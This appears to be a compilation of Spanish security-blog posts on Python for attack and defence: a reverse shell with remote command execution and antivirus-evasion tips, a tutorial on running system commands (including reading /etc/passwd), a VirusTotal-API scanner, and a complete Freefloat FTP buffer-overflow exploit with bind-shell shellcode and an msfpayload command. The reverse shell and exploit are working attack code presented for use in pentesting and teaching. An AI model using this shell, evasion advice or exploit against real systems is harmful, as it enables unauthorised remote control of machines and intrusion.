Este año es mi quinta (5) Navidad con vosotros, parece que fuera ayer (25/Dic 2011) cuando celebré la primera Navidad con todos vosotros, el camino recorrido hasta ahora ha sido gratificante y emocionante, pero quizás lo es aún más el camino que queda por recorrer.

Como es habitual, la intensidad con la que publico artículos se encuentra supeditada a la vida misma (y a los deseos de mi pequeña xD), el pasado 2014, se me olvido felicitar la Navidad, por lo que este año me ha parecido que la mejor forma de celebrarlo con vosotros es compartiendo el código de una shell reversa escrita en python ... que puede resultar de gran utilidad durante una Auditoria / Pentesting.

Muchas Gracias a todos por seguirme y leer mis publicaciones, no vemos el año próximo. Feliz Navidad con mis mejores deseos para el año que viene.

Custom Python Reverse Shell

Code*:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24

def shell():    #Base64 encoded reverse shell    try:        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        s.connect(('127.0.0.1', int(443)))        s.send('[*] Connection Established!')        while 1:              cmd = s.recv(1024)              if cmd == "quit":                  break              response = run_cmd(cmd)              if response:                  encoded = base64.b64encode(response)              else:                  response = 'Running: {}'.format(cmd)              encoded = base64.b64encode(response)              s.send(encoded)     except socket.error:        sys.exit(2)     except WindowsError:        pass     finally:        s.close()

Es un fragmento de como se puede implementar una "Shell" de conexión inversa en python de forma sencilla. Falta por supuesto como ejecutar comandos en el sistema:

1 2 3    4 5 6 7 8 9 10

def run_cmd(data):       proc = subprocess.Popen(data,                                      shell=True,                 stdout=subprocess.PIPE,                  stderr=subprocess.PIPE,                   stdin=subprocess.PIPE)       stdout = proc.stdout.read() + proc.stderr.read()       return stdout

He utilizado subprocess para la ejecución de "comandos" en el sistema remoto. Estoy seguro que mas de uno esta pensando técnicas para mejorar la shell, implementar nuevos comandos, etc. Por ejemplo, la IP podría cogerla de un registro DNS, o de un recurso WEB publico, para evitar hardcodear (incrustar) la IP dentro del código fuente. Se recomienda, hardcodear en base64 la URL del recurso WEB para determinar la IP del "handler" y tratar de evitar la detección como malware por los antivirus (Alguien se anima a mejorar la Shell implementando la obtención de la IP desde un recurso web publico como pastenBIN?)

Compatible tanto en Windows como en Linux, se puede crear un ejecutable para Windows utilizando pyexe o pyinstaller.

Es un "shell" muy simple pero efectiva. Os invito a probarla y comentar las limitaciones que tiene la Shell y como se podrían solventar!

Por supuesto, os dejo como trabajo para casa, la creación del "cliente" que se conecta y maneja la conexión inversa con la shell .. xD

#ST2 #ST2Labs os desea:

¡¡¡FeliZ Navidad!!! - Merry Christmas - Joyeux Noël - Frohe Weihnachten - С Рождеством - 圣诞节快乐 - Buon Natale - God Jul -Feliz Natal ...

@rhodius | @seguridadxato2 | @st2labs

[*] Basada en el código de primalsecurity

Ahora que estoy de vacaciones (bendita semana santa) he sacado un hueco para terminar uno de los muchos artículos que tengo pensado escribir sobre el lenguaje de programación python, donde a pesar de ser yo un recién llegado al mundo python, ya me siento extremadamente cómodo programando en python, hasta tal punto que se ha convertido en mi lenguaje favorito.

En artículos anteriores os hable de como usar python como lenguaje de Hacking, al hilo de los mismos, os voy a introducir en algunos conceptos y/o comandos de python de utilidad en el área de la Seguridad Informática, como por ejemplo ejecutar comandos del sistema de forma segura (evitando inyección arbitraria de comandos) desde un programa escrito en python.

Introducción

Cuando aprendes a programar lo habitual es empezar con el lenguaje pseudo-código y C, en mi experiencia programando, de C pase a emsablador Morotorla 6880 y luego C++; en el momento que empiezas a utilizar la programación orientada a Objetos descubres los beneficios e inconvenientes de los cuales no os voy a hablar. Lo mejor de python es la flexibilidad, rapidez e ingente cantidad de recursos disponibles con los que contar.

Tras probar varios lenguajes de programación (con sus contras y sus pros) me quedo con python, siendo este el inicio de una serie de artículos o publicaciones, donde os mostrare algunos ejemplos prácticos de programación en python (orientados a hacking), como es el caso de éste artículo, donde vamos a ver como leer los puertos abiertos del sistema (listening port).

¿ Por donde empiezo ?

Existen al menos tres maneras distintas de ejecutar un comando del sistema desde un programa escrito en python, la primera es utilizando las librerías del sistema os, la segunda, utilizando la librería subprocess y la tercera, es utilizando la librería commands.

Vamos a ilustrar con algunos ejemplos prácticos la utilización de las diferentes librerías. Sin embargo, tanto como la librerías commands, como la librería os, ha sido sustituidas por subprocess, por lo que centraré los ejemplos en subprocess.

Nota: Los ejemplos estan preparados para funcionar solamente en sistemas UNIX, 

No obstante, las librerías commands, y os, ha sido sustituidas por subprocess.

Ejemplo 1

Ejecutar cualquier comando del sistema a través de un programa escrito con python (run a system command through python script), en el ejemplo se ha utilizado "ls -lsa", para listar el contenido de un directorio.

CODE_

Example python code - e1-py

OUT_

Example 1: e1.py - Run system command from python

Nota:

Passing shell=True can be a security hazard if combined with untrusted input (read about)

Ejemplo 2

Ejecuta cualquier comando introducido por el usuario desde el teclado o STDIN !

Example python code - e2.py

Nota:

Passing shell=True can be a security hazard if combined with untrusted input 

(read about)

OUT_

Running cat /etc/passwd

Example 2: run cat /etc/passwd command from python code

Ejemplo 3: 

Ejecutar y mostrar el resultado de listar los archivos de un directorio "ls -ls", utilizando parametrización del comando y usando tuberías en lugar de ejecución directa en la SHELL, es una forma más segura de ejecutar comandos directamente en sistema, evitando ataques de COMMAND OS Injection sobre vuestro código, claro esta que esto es meramente un ejemplo didáctico y las diferencias entre los ejemplos son minimamente significativas.

CODE_

Example python code - e3.py

Ejecución

ST2Labs > python e3.py

OUT_

Example 3 - Run a secure system command.

Todos los ejemplos los puedes descargar desde mi repositorio ST2Labs en GitHub (https://github.com/ST2Labs/ST2Example).

#ST2Labs

Continuamos con la tercera y ultima entrega del trabajo trabajo sobre python como lenguaje de Ataque y Defensa, realizado por Fernando Crespo Ingeniero de Telecomunicaciones como proyecto fin del Curso Experto Seguridad TIC. Ahora convertido en Máster de Seguridad TIC.

INDICE

PARTE I | PARTE II | PARTE III

Como ya os contaba en el artículo anterior Fernando decidió realizar un trabajo sobre de Hacking tras finalizar el Curso Exp, y decidió aplicar y ampliar algunos de los conceptos adquiridos en el modulo de Hacking y pentesting impartido por mi (@rhodius - @ST2Labs - @seguridadparatodos), ahora convertido en un Máster de Seguridad TIC (+Info).

Hemos visto que Python puede convertirse en una potentísima suite para hacking con su fácil integración con poderosas herramientas como nmap y exploitdb. Pero, ¿podemos defendernos también con Python? La respuesta es que sí. Ya se ha mencionado que una de las mayores ventajas de Python es la enorme cantidad de librerías que posee y su integración con APIs de terceros.

Así, puede ser usado cómo herramienta de análisis forense (extracción de metadatos, extracción de datos del registro de Windows, bases de datos sqlite, etc.) según se propone en [O’Connor, 2012], o firewalls (https://pypi.python.org/pypi/firewall) pero no es la única forma de defenderse con Python.

En esta sección mostraré cómo implementar la API de VirusTotal con la que se ha construido un antivirus con funcionalidad de escaneo de directorios y capacidad para generar reportes en texto y excel. Empezaremos introduciendo al lector en VirusTotal, su historia y el modo de empleo habitual.

Introducción a VirusTotal. Un poco de historia

VirusTotal [https://www.virustotal.com, 2013] es un servicio online gratuito que realiza análisis de virus en ficheros de hasta 64MB comparándolo con 46 sistemas diferentes de antivirus. También permite escaneo de urls sospechosas aunque en el scanner desarrollado en python para este trabajo sólo se hará de ficheros.
Creado por la empresa malagueña Hispasec Sistemas, en 2007 fue seleccionado por PC World como uno de los mejores 100 productos. Su éxito lo llevó a que fuera adquirido por Google en 2012.

La API de VirusTotal. Implementación con Python

La API de VirusTotal (https://www.virustotal.com/es/documentation/public-api/) permite la creación de scripts para acceder a la información recogida por VirusTotal de los 46 motores de antivirus. El formato de las peticiones es HTTP(S) POST y las respuestas tienen formato JSON. Se permiten hasta cuatro peticiones (escaneo, re-escaneo, o recoger informe) por minuto (a menos que se vaya a aportar recursos a VirusTotal y no sólo recoger los informes).

La API es gratuita y para empezar a usarla hay que registrarse en la VirusTotal Community y al crear la cuenta tendremos una clave con la que podremos implementar la API.

VirusTotal Python Scanner (vtps). Un antivirus en Python

En este apartado mostraremos al lector la estructura, código fuente y modo de uso de VirusTotal Python Scanner, el antivirus creado para este proyecto. Cómo ya se ha comentado, para implementar la API además de la clave que obtenemos al registrarnos, necesitamos el host y la url para escanear, re-escanear y solicitar resultados (en la documentación de la API puede consultarse). Dado que se recomienda no
hacer scanning de archivos ya escaneados (el re-escaneo se hace sobre el hash del fichero, no sobre éste entero), guardaremos éstos últimos en un fichero (hará de base de datos), de forma que si ya se escaneó, sólo permitirá un re-escaneo o la solicitud de informes. Toda esta configuración más la necesaria para generar logs y la localización de la base de datos, es almacenada en un fichero xml y contrastada con un esquema.

Es por ello que lo primero que necesitamos es una clase para parsear XML, la cual se encuentra en textitxmlreader.py, otra para guardar la configuración, config.py y otra para crear los logs (vtpslogger.py). Por otro lado, los métodos para guardar y obtener información de la base de datos (fichero con formato JSON), usaremos database.py y target.py.

Por otro lado, las funciones propias del antivirus las encontraremos en scan.py, scanningwd.py (modo de escaneo en el que se observa una carpeta hasta que un fichero nuevo es creado en ella), rescan.py y report.py. Éstos llamarán a los métodos de la API encapsulados en vtapi.py que realizará los HTTP POST a VirusTotal mediante postlib.py (éste fichero hay que descagárselo de la página).

Para presentar un un simple menú de las acciones a realizar se ha creado menu.py. Elscript que carga toda la configuración inicial y llama a las clases anteriores es vtps.py. El contenido de los ficheros de configuración y el código fuente del programa puede verse en el Anexo I.

Ejemplos de uso

En esta sección se muestra distintos modos de empleo del programa creado, el escaneo simple y en modo watchdog, el re-escaneo y la generación de informes en texto y excel.

Menú de opciones

Tras ejecutar vtps.py se mostrará un menú con las opciones a elegir tal y como muestra la siguiente ilustración. La primera es para un escaneo del fichero, la segunda para el modo wathdog, la tercera para hacer un re-escaneo, las opciones cuarta y quinta son para la obtención de informes en textto y excel (respectivamente) y la última para salir del menú.

Ejemplo - VirtusTotal con python.

Escaneo simple, watchdog y re-escaneo

Para hacer un escaneo sólo es necesario que el fichero no haya sido escaneado antes (no debe estar en la base de datos). Si en el menú anterior elegimos la primera opción, nos pedirá un nombre de fichero o directorio. En este caso, debemos elegir un fichero para que no nos devuelva un error (no se hace un escaneo simple de un directorio). Para hacer la prueba usaré un troyano que he descargado de una web que contiene virus para descargar y probar: http://vx.netlux.org

Ejemplo - Escanear archivo con virtustotal y python

En la base de datos habrá añadido una entrada mientras hacía la correspondiente llamada a al API de VirusTotal con el fichero.

Si ahora elegimos el modo watchdog, Vtps se quedará esperando nuevos ficheros en ese directorio.

Ejemplo - VirusTotal con python

Si probamos con el mismo troyano con otro nombre, detectará que ese fichero ya fue escaneado por que tiene el mismo hash que el escaneado anteriormente (al cotejarlo con la base de datos) y nos dirá que o bien re-escaneemos (no actualiza la base de datos) o bien solicitemos un informe. Si probamos con otro fichero hará el escaneo y lo añadirá a la base de datos.

En la base de datos del nuevo fichero aparece:

Para hacer un re-escaneo, seleccionamos la opción tres. Si el fichero no ha sido previamente escaneado (no está en la base de datos) dará error (si no existe también aunque no se muestra aquí). Hay que aclarar que lo que busca no es el nombre del fichero, sino su hash. De hecho, si probamos con el troyano con otro nombre:

Ejemplo - VirusTotal con python - rescan

Generación de informes en texto y xls

Cuando se seleccionan las opciones 4 y 5 se solicita al usuario el nombre del ficherodel que se quiere obtener un informe. Vtps buscará su hash en la base de datos y si lo encuentra realizará la llamada a la API de VirusTotal para generar informes que contendrá el análisis de 46 sistemas de antivirus. Una vez obtenido el resultado (JSON), Vtps lo transformará en un fichero de texto o xls (Microsoft Excel) según la opción elegida.

Ejemplo - VirusTotal generación informes

En la carpeta reports se habrá creado un fichero con nombre la fecha y la hora de la solicitud del informe y extensión .txt. La siguiente captura muestra algunos de los resultados obtenidos

Ejemplo - VirusTotal reporting text python

Ahora probamos el reporte en excel:

Ejemplo - VirusTotal exportando a Excel

Hasta aquí! el artículo espero que os haya gustado.
Si alguien quiere el documento completo puede ponerse en contacto a través de info@seguridadparatodos.es

#ST2Labs
@st2labs

Continuamos con la segunda entrega del trabajo trabajo sobre python como lenguaje de Ataque y Defensa, realizado por Fernando Crespo Ingeniero de Telecomunicaciones como proyecto fin del Curso Experto Seguridad TIC. Ahora convertido en Máster de Seguridad TIC.

Como ya os contaba en el artículo anterior Fernando decidió realizar un trabajo sobre de Hacking tras finalizar el Curso Exp, y decidió aplicar y ampliar algunos de los conceptos adquiridos en el modulo de Hacking y pentesting impartido por mi (@rhodius - @ST2Labs - @seguridadparatodos), ahora convertido en un Máster de Seguridad TIC (+Info).

En esta segunda parte Fernando entra en materia para explotar una vulnerabilidad conocida utilizando para ello python, modificará un exploit conocido escrito en python para agregarle un nuevo shellcode.

INDICE

PARTE I | PARTE II | PARTE III

2.2.1. Scanning de puertos: integración con nmap

Para instalar el módulo nmap basta con usar easy-install (un programa que instala librerías de Python) como sigue:

$easy_install python-nmap

Así, un script sencillo que escanee puertos usando la librería de nmap para Python sería como sigue:

Script NMAP python

Texto:

import optparse, nmap

class NmapScanner:

     def __init__(self): self.nmsc = nmap.PortScanner()

    def nmapScan(self, host, port): 

          self.nmsc.scan(host, port) 

          self.state = self.nmsc[host][’tcp’][int(port)][’state’] 

          print " [+] "+ host + " tcp/" + port + " " + self.state

def main():

parser = optparse.OptionParser("usage%prog " + "-H <target host> -p <target port>") 

parser.add_option(’-H’, dest = ’host’, type = ’string’, help = ’Please, specify the target host.’)

parser.add_option(’-p’, dest = ’ports’, type = ’string’, help = ’Please, specify the target port(s) separated by comma.’) (options, args) = parser.parse_args() if (options.host == None) | (options.ports == None): print ’[-] You must specify a target host and a target port(s).’ exit(0) host = options.host ports = options.ports.split(’,’)

 for port in ports: 

NmapScanner().nmapScan(host, port)

if __name__ == "__main__": 

   main()

--Cut here --

Ejecutamos nuestro script y el resultado es el siguiente tras escanear un equipo:

$ python nmapScanner.py -H 192.168.1.138 -p 21,22,23,80,443 [+] 192.168.1.138 tcp/21 closed [+] 192.168.1.138 tcp/22 open [+] 192.168.1.138 tcp/23 closed [+] 192.168.1.138 tcp/80 open [+] 192.168.1.138 tcp/443 closed

2.2.2. Creación de exploits, Python y exploitdn

Para este caso, vamos a aprovechar una vulnerabilidad conocida en el servidor FTP Free Float FTP Server para Windows XP SP 3. Usaremos exploitdb integrado en BackTrack 5 R3 para ver un exploit en Python que manipularemos para provocar un Buffer overflow en la máquina de la víctima abriendo el puerto TCP 4444 con el que conseguiremos conectarnos a su máquina por telnet.

Primero de todo en el sistema del atacante vamos a exploitdb y ejecutamos como sigue:

Description ----------------------------------------------
Freefloat FTP Server Buffer Overflow Vulnerability 0day
----------------------------------------------
Path ------------------------ /windows/remote/15689.py

Ya tenemos nuestro exploit en Python. Pero tenemos que adaptarlo a nuestro sistema. Todo exploit trata de sobreescribir el registro EIP (Extended Instruction Pointer) con instrucciones como JMP ESP o CALL ESP. En sistemas operativos como XP hay ciertas DLL que tienen algunas de estas instrucciones en una dirección de memoria fija (no usan ASLR). 

Nosotros buscaremos la instrucción JMP ESP en la librería KERNEL32.DLL, para lo cual nos apoyaremos en un programa llamado findjmp.exe que ejecutaremos en el equipo víctima (en un ataque real habría que probar con varias direcciones conocidas que pueden variar en función de la versión del sistema operativo y el idioma).

La siguiente figura muestra cómo ejecutar este programa para encontrar la dirección de JMP ESP:

FindJMP dirección JMP en KERNEL32.DLL WindowsXP SP3

Ahora modificamos el script que lanza el shellcode con la nueva dirección obtenida. El shellcode es código máquina en hexadecimal que abrirá el puerto en la máquina de la víctima. Para ubicarlo en la zona de memoria primero hay que provocar el buffer overflow con una secuencia de caracteres cuya longitud puede calcularse con ayuda de metasploit. Efectivamente, probamos con una cantidad de bytes lo suficientemente elevada que provoque un buffer overflow. Con dicha cantidad usamos un script en Ruby llamado pattern_create.rb.

Con ese patrón volvemos a lanzar el shellcode ejecutándo el servidor FTP con un debugger como ollydbg o immunitydebugger observamos lo que se ha escrito en el EIP y el ESP. Usando estos valores con el script pattern_offset.rb tendremos el offset exacto para sobreescribir EIP y ESP.

Además, otro script importante es Mona.py que genera una secuencia de caracteres entre \x00 y \xff . Con esa secuencia, dependiendo de como hayamos sobreescrito ESP, podemos averiguar si hay algunos caracteres raros que no se ejecutarán en la máquina víctima.

Así el creador del script le puede indicar a metasploit que le genere el shellcode sin esos carácteres raros:

# msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b "CARACTERES RAROS" -t c

Con estos elementos el atacante ya tiene su script:

Texto

# Exploit Title: Freefloat FTP Server Buffer Overflow Vulnerability

 # Date: 12/05/2010 

# Author: 0v3r 

# Software Link:

 # http://www.freefloat.com/software/freefloatftpserver.zip 

# Tested on: Windows XP SP3 EN 

# CVE: N/A

#!/usr/bin/python

import socket 

import sys

def usage():

     print "usage : ./freefloatftp.py <victim_ip> <victim_port>" 

     print "example: ./freefloatftp.py 192.168.1.100 21"

#Bind Shell shellcode port 4444 

shellcode = 

("\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4" "\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c" "\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07" "\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6\x64\x07" "\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f\x28\x3e" "\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7\xfb\x1f" "\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37\x58\x38" "\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77\x53\x65" "\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef\x01\x4a" "\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e\x85\x74" "\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf\x86\xd5" "\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b\x69\x80" "\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d\xb5\xa4" "\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e\x98\x80" "\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b\x4f\x82" "\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21\x66\x9a" "\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52\x58\x70" "\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2\xdd\xe6" "\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6\x3a\xf4" "\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3\x41\xc6" "\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba\x11\xa4" "\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48\xed\x53" "\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94\xb4\x84" "\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51" 

"\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a")

junk1 = "\x41" * 230 

eip = "\x7B\x46\x86\x7C" #7C86467B JMP ESP (findjmp.exe): 

nops = "\x90" * 16 

junk2 = "\x43" * (1000 - len(junk1 + eip + nops + shellcode)) 

buff = junk1 + eip + nops + shellcode + junk2 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "\n" 

print "----------------------------------------------------" 

print "|Freefloat FTP Server Buffer Overflow Vulnerability|" 

print "----------------------------------------------------" 

print "\n"

if len(sys.argv) != 3: 

    usage() 

    sys.exit()

ip = sys.argv[1] 

port = sys.argv[2]

try: 

print("[-] Connecting to " + ip + " on port " + port + "\n") s.connect((ip,int(port))) data = s.recv(1024)       print("[-] Sending exploit...") s.send(’USER ’ + buff + ’\r\n’) s.close() print("[-] Exploit successfully sent...") print("[-] Connect to " + ip + " on port 4444") 

except: 

   print("[-] Connection error...") 

   print("[-] Check if victim is up.")

-- cut Here --

Ejecutamos el script pasando como argumentos la IP de la víctima y el puerto en el que está escuchando el servidor. El resultado se muestra en la siguiente figura:

Testing exploit - Shell Remota

Esto es todo con respecto a la utilización de python como herramienta de ataque (Hacking), en la ultima entrega Fernando nos hablará de como usar python como Defensa, pero esto será en el próximo artículo.

Un Saludo.

#ST2Labs